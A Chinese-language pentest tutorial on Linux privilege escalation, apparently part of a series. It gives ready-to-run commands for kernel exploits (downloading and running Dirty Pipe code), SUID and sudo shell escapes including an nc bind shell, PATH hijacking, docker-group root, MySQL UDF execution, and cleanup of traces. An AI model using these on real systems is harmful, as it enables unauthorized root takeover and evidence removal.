Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的。本系列文章将从拿到一个Linux shell开始,介绍Linux内网渗透技术,分为容器逃逸、Linux提权、Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。
本文是Linux内网渗透的第二篇文章——Linux提权。
Linux提权大概可以分为下面几种:
系统内核提权;第三方服务提权;数据库提权;密码收集提权;环境变量提权;Suid提权;Sudo提权;配置错误提权。
https://gtfobins.github.io/
GTFOBins是一个精心策划的Unix二进制文件列表,可以用来绕过错误配置系统中的本地安全限制。该项目收集了Unix二进制文件的合法函数,这些函数可能被滥用,以打破受限制的shell,升级或维护提升的特权,传输文件,生成绑定和反向shell,并为其他事后利用任务提供便利。需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限。
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
BeRoot用于检查Linux和Mac OS上常见的错误配置,以找到一种方法来升级我们的特权。检查项包括GTFOBins中的二进制文件、通配符错误、suid、环境变量、NFS、sudo等等,详细可以去上面链接看。
https://github.com/DominicBreuker/pspy
Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。
在说提权之前先介绍一下基本的信息收集命令,为后续的提权做准备。
1、内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
lsb_release -a 发行版信息
cat /proc/version 内核信息
cat /etc/*-release 发行版信息
cat /etc/issue 发行版信息
cat /proc/cpuinfo CPU信息
2、用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
groups 当前用户所在的组
groups test test用户所在的组
getent group xxx xxx组里的用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
[^可以看到yokan用户在sudo组里]:
3、用户和权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
yokan用户可以以root身份执行任意操作
4、环境信息
env 显示环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
提示:内核漏洞提权有风险,有可能会崩溃系统。
内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集,收集方法参考第一小节基础信息收集
即可。
大多内核漏洞通过内核版本能很快查到
用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
SearchSploit是一个Exploit-DB的命令行搜索工具,它还允许随身携带漏洞利用数据库的副本。
介绍:https://xz.aliyun.com/t/2860
SearchSploit使用:
更新SearchSploit:
apt update && apt -y full-upgrade
searchsploit -u
基本搜索语法:
只需添加您想要查找的任意数量的搜索词:
searchsploit linux 2.6 ubuntu priv esc
Tip:如果你没有收到预期的结果,可以使用更通用的术语进行更广泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
Tip:不要使用缩写如:SQLi -> SQL Injection。
显示漏洞利用的完整路径:
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
不建议在本地的漏洞数据库中修改exp
,建议使用-m
参数复制那些有用的到当前的工作目录:
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
exp利用:
将exp上传到目标技巧,编译运行(编译方法,在源码的注释里有)
gcc 9545.c -o expchmod 777 exp./exp
当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。
最后强调利用内核漏洞的几个注意点:
1.读源码注释,有exp基本信息和编译方法,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:3.9>Linux kernel >=2.6.22并且Android也受影响
利用脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki
漏洞复现:
先查看一下系统版本信息
linux kernel版本2.6.32,应该可以用脏牛提权。下载脏牛提权脚本
这里使用dirty.c这个exp:
这个exp利用了dirtycow漏洞的pokemon漏洞 。会自动生成一个新的passwd行。 运行二进制文件时,会提示用户输入新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行覆盖根帐户。运行该漏洞后,你应该能够登录新创建的用户。 使用此漏洞可以根据您的需要修改用户值。 默认为“firefart”用户。
上传到目标系统tmp目录下
在/tmp目录下直接起一个命令行,然后编译运行脚本
此时切换到firefart用户,密码为123456
执行id命令后可以看到已经为root用户了,成功提权。
利用条件
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
EXP:
https://haxx.in/files/dirtypipez.c
#原理为 直接修改一个具有suid权限的可执行文件,然后执行这个可执行文件提权,完成提权后再把文件改回来
or
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
#原理为 覆盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复
利用:
wget https://haxx.in/files/dirtypipez.cgcc -o dirtypipez dirtypipez.c./dirtypipez /usr/bin/su
#任何具体suid权限的文件均可
什么是suid?suid全称是Set owner User IDup on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
推荐阅读P神的这篇文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
常见的可用来提权的Linux 可执行文件有:
Nmap, Vim, find, bash, more, less, nano, cp
查看可以suid 提权的可执行文件:
find / -perm -u=s -type f 2>/dev/null
或者
find / -user root -perm -4000 -print 2>/dev/null
下面列举几个常见的设置了SUID的应用程序提权手段:
find
ls -al /usr/bin/find-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令
大部分Linux 系统都安装了nc。使用如下命令即可成功得到root shell:
find / -type f -exec /bin/bash \;或find / -exec nc -lvp 5555 -e /bin/sh \;nc ip port
测试:
chomod u+s /usr/bin/find #chmod u+s 给某个程序的所有者suid权限。
nmap
较旧版本的Nmap(2.02≤nmap<5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !shsh-3.2# whoamiroot
5.2.0 之后,nmap 还可以通过执行脚本来提权:
在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章
# nse脚本 shell.nseos.execute('/bin/sh')# nmap 提权nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshellsudo nmap --script=getshell
vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
vim /etc/shadow
vim 运行shell
vim:set shell=/bin/sh:shell
同理,满足条件的 less和 more都可。
awk
awk 'BEGIN {system("/bin/bash")}'
strace
strace -o/dev/null /bin/bash
利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)
详细文章参考:https://xz.aliyun.com/t/2767
PATH
是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
测试:
环境配置:
现在我们的当前目录是/home/yokan,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。
pwdmkdir scriptcd /scriptnano demo.c
demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件:
然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:
gcc demo.c -o shell #需要以root权限编译chmod u+s shellls -la shell
攻击利用:
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/yokan/script目录下的shell文件具有SUID权限,如图:
于是我们cd到/home/yokan/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。
ls./shell
提权:
echo命令
cd /tmpecho “/bin/bash” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/yokan/script./shellwhoami
其他更多的方法参考上面的文章。
当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。
netstat -antup
该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务
ps -aux | grep root
该命令可以显示以root用户身份运行的服务
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
docker组内用户执行如下命令,即可获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
#参数
-v 将容器外部的目录
/ 挂载到容器内部
/hostOS这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
测试:
创建了个用户dockertest
加入了docker组,然后执行如下命令,获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
先查看secure_file_priv
的值是否为空,因为只有为空我们才能继续下面的提权步骤
提权步骤:
获取udf代码
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数:sys_eval,执行任意命令,并将输出返回。sys_exec,执行任意命令,并将退出码返回。sys_get,获取一个环境变量。sys_set,创建或修改一个环境变量。
将udf文件上传到指定位置
MySQL<5.0,导出路径随意;5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
select @@basedir; #查看mysql安装目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; #导出udfcode,注意修改udfcode
从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll'; //sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
执行命令
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数select sys_eval('whoami'); #使用系统命令
痕迹清除
drop function sys_eval; #删除函数delete from mysql.func where name='sys_eval' #删除函数
如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。
详细参考《Redis基础与简单利用.docx》
一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。
无密码:
sudo -l
打印允许作为SUDO运行的命令
假如我们被允许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python
等任何编程语言编译器、解释器和编辑器,那么我们就可以通过这些命令,获得root权限。
实际环境中不一定会这么明显显示可用命令,某些配置也是可以使用这几个命令的,如果对sudo机制不熟悉,可以直接使用sudo+命令 测试是否可用。
例如vi
命令:
进入底线命令模式,输入:!/bin/bash,即可打开一个用户为root的shell
sudo vi test.txt:!/bin/bash
有密码:
如果知道sudo组用户的密码,可以直接sudo -i
提权。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
补充:
直接在低权shell里面用sudo是不奏效的,这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。
python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python建立了一个虚拟终端,然后就可以使用sudo等等命令了。
概述
当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
查看sudo版本
命令:sudo --version
POC
https://github.com/worawit/CVE-2021-3156
复现
sudo --version
python exploit_defaults_mailer.py/tmp/sshell
当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。
pspy(https://github.com/DominicBreuker/pspy)工具提供了普通用户权限即可监听进程信息
Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。
查看计划任务的方法:
crontab -lls -alh /var/spool/croncat /etc/cron*
漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。
受影响linux:
2009年5月至 2022 年1月26日发布的所有Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。
受影响国产化操作系统:
银河麒麟高级服务器操作系统 V10
银河麒麟高级服务器操作系统 V10 SP1
银河麒麟高级服务器操作系统 V10 SP2
统信 UOS 服务器操作系统 V20
银河麒麟桌面版操作系统 V10
银河麒麟桌面版操作系统 V10 SP1
统信 UOS 桌面版操作系统 V20
中标麒麟桌面版操作系统 V7.0
版本检测:
Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS、RedHat 系列:
rpm -qa polkit
Debian、Ubuntu 系列:
dpkg -l policykit-1
不受影响版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞复现:
CentOS环境
利用:
exp网上很多。也很稳定。也算是个”神洞“了。